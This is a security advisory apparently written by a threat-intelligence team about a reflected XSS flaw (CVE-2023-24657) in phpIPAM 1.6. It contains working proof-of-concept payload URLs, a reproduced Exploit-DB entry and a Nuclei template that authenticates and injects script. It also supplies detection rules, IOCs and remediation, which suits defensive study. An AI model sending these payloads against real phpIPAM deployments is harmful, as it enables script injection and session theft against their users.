CVE-2023-24657

Executive Summary

CVE-2023-24657 is a reflected cross-site scripting (XSS) vulnerability in phpIPAM v1.6, specifically within the /subnet-masks/popup.php endpoint. The vulnerability exists due to insufficient sanitization of the closeClass parameter, allowing an attacker to inject arbitrary HTML and JavaScript into the response. This can lead to session hijacking, credential theft, and other client-side attacks. The vulnerability is publicly exploitable with a CVSS score of 6.1 (Medium) and has a verified PoC and Nuclei template available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Changed (S:C) – impact on resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – limited data exfiltration
• Integrity Impact: Low (I:L) – limited content manipulation
• Availability Impact: None (A:N)
• EPSS Score: 0.04867% (Percentile: 0.89587) – low probability of exploitation in the wild

Deep Dive & Mechanics

The vulnerability resides in the popup.php file within the /app/tools/subnet-masks/ directory. The closeClass parameter is directly reflected into the HTML response without proper encoding or sanitization. The sink is print @$_REQUEST['closeClass'], meaning the value is printed directly into the page. The source is $_REQUEST['closeClass'], which accepts input from both GET and POST requests.

The lack of sanitization allows an attacker to break out of an HTML attribute context. For example, the payload " onclick="alert(1)" closes the existing attribute and injects a new onclick event handler. When the victim clicks on the affected element, the injected script executes.

The attack requires user interaction (clicking a link or visiting a crafted URL). The vulnerability is authenticated, meaning the attacker must be logged in to phpIPAM to trigger the XSS, but the victim can be any user who clicks the malicious link.

Vulnerable vs. Patched Code

Vulnerable Code (phpIPAM v1.6):

// In /app/tools/subnet-masks/popup.php
print @$_REQUEST['closeClass'];

The closeClass parameter is directly printed without any escaping or validation.

Patched Code (Hypothetical):

// In /app/tools/subnet-masks/popup.php
echo htmlspecialchars($_REQUEST['closeClass'], ENT_QUOTES, 'UTF-8');

The htmlspecialchars function encodes special characters, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of phpIPAM v1.6
• Valid credentials for the phpIPAM application
• A victim user who will click the crafted link

Exploit Steps:

1. Log in to phpIPAM.
2. Craft a malicious URL with the closeClass parameter containing an XSS payload.
3. Send the URL to the victim (e.g., via email or social engineering).
4. When the victim clicks the link, the injected script executes in their browser.

Example Payloads:

• http://phpipam/app/tools/subnet-masks/popup.php?closeClass=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
• http://phpipam/app/tools/subnet-masks/popup.php?closeClass=%22%20onclick=%22alert(1)%22

Exploit-DB Code:

# Exploit Title: phpIPAM 1.6 - Reflected Cross Site Scripting (XSS)
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/phpipam/phpipam
# Software Link: https://github.com/phpipam/phpipam
# Version: 1.5.1
# Tested on: Ubuntu Windows
# CVE : CVE-2023-24657
PoC:
1)http://phpipam/app/tools/subnet-masks/popup.php?closeClass=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
2)http://phpipam/app/tools/subnet-masks/popup.php?closeClass=%22%20onclick=%22alert(1)%22

Usage: The PoC URLs can be directly used in a browser after authentication. The first payload injects a <script> tag, while the second injects an onclick event.

Blue Team

Detection:

• Monitor web server logs for requests to /app/tools/subnet-masks/popup.php with unusual closeClass parameters.
• Look for patterns such as %22, %3E, %3C, script, onclick, onerror, etc.
• Use WAF rules to block requests containing XSS payloads in the closeClass parameter.

Mitigation:

• Apply input validation and output encoding on the closeClass parameter.
• Upgrade to a patched version of phpIPAM if available.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• URL Pattern: /app/tools/subnet-masks/popup.php?closeClass=*
• Payload Indicators: %22, %3E, %3C, script, onclick, onerror, alert, prompt, confirm
• Log Entries: HTTP GET requests to the vulnerable endpoint with suspicious closeClass values.
• Network Traffic: Outbound connections from the victim's browser to attacker-controlled domains (if payload exfiltrates data).

Detection Engineering

YARA Rule

rule CVE_2023_24657_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2023-24657 in phpIPAM"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-24657"
    strings:
        $payload1 = "closeClass=%22%3E%3Cscript%3E" ascii wide
        $payload2 = "closeClass=%22%20onclick=%22" ascii wide
        $payload3 = "closeClass=" ascii wide
    condition:
        any of ($payload1, $payload2) or ($payload3 and #payload3 > 1)
}

Sigma Rule

title: CVE-2023-24657 phpIPAM Reflected XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against phpIPAM v1.6 via closeClass parameter
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24657
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/app/tools/subnet-masks/popup.php'
        cs-uri-query|contains|all:
            - 'closeClass='
            - '%22'
            - '%3E'
            - '%3C'
    condition: selection
falsepositives:
    - Legitimate use of the closeClass parameter with encoded characters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-24657 phpIPAM Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/app/tools/subnet-masks/popup.php"; http_uri; content:"closeClass="; http_uri; pcre:"/closeClass=[^&]*%22[^&]*%3E[^&]*%3C/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template

id: CVE-2023-24657

info:
  name: phpIPAM - 1.6 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    phpIPAM 1.6 contains a cross-site scripting vulnerability via the closeClass parameter at /subnet-masks/popup.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of phpIPAM or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/phpipam/phpipam/issues/3738
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24657
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-24657
    cwe-id: CWE-79
    epss-score: 0.04867
    epss-percentile: 0.89587
    cpe: cpe:2.3:a:phpipam:phpipam:1.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: phpipam
    product: phpipam
    shodan-query:
      - html:"phpIPAM IP address management"
      - http.html:"phpipam ip address management"
    fofa-query: body="phpipam ip address management"
  tags: cve2023,cve,xss,phpipam,authenticated,vuln

http:
  - raw:
      - |
        POST /app/login/login_check.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        ipamusername={{username}}&ipampassword={{password}}
      - |
        GET /app/tools/subnet-masks/popup.php?closeClass=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "<script>alert(document.domain)</script>") && contains(body_2, "Subnet masks")'
        condition: and
# digest: 490a0046304402201ed5b81d31b7387d99afb589b51340d2b576aca9995dea99fe8e3f3a4c35e68a022051d56094c9b83fe45eaa7303a293c50315caa47b34c223a03f4599b527ff278c:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade phpIPAM: Check for a patched version from the vendor. If unavailable, apply the following workaround.
2. Input Validation: Sanitize the closeClass parameter by allowing only alphanumeric characters and underscores.
3. Output Encoding: Use htmlspecialchars() or equivalent to encode output.
4. Web Application Firewall (WAF): Deploy rules to block XSS payloads in the closeClass parameter.
5. Content Security Policy (CSP): Implement a strict CSP to prevent inline script execution.

Long-Term Fix:

• The vendor should release a patch that properly escapes the closeClass parameter.
• Conduct a security audit of the entire phpIPAM codebase for similar vulnerabilities.

Valters IT Signature This report was generated by Valters IT DevSecOps & CTI Division.

{/* [Security Hash: 3D4AAE1DE9724E9FBAFA8B93] */}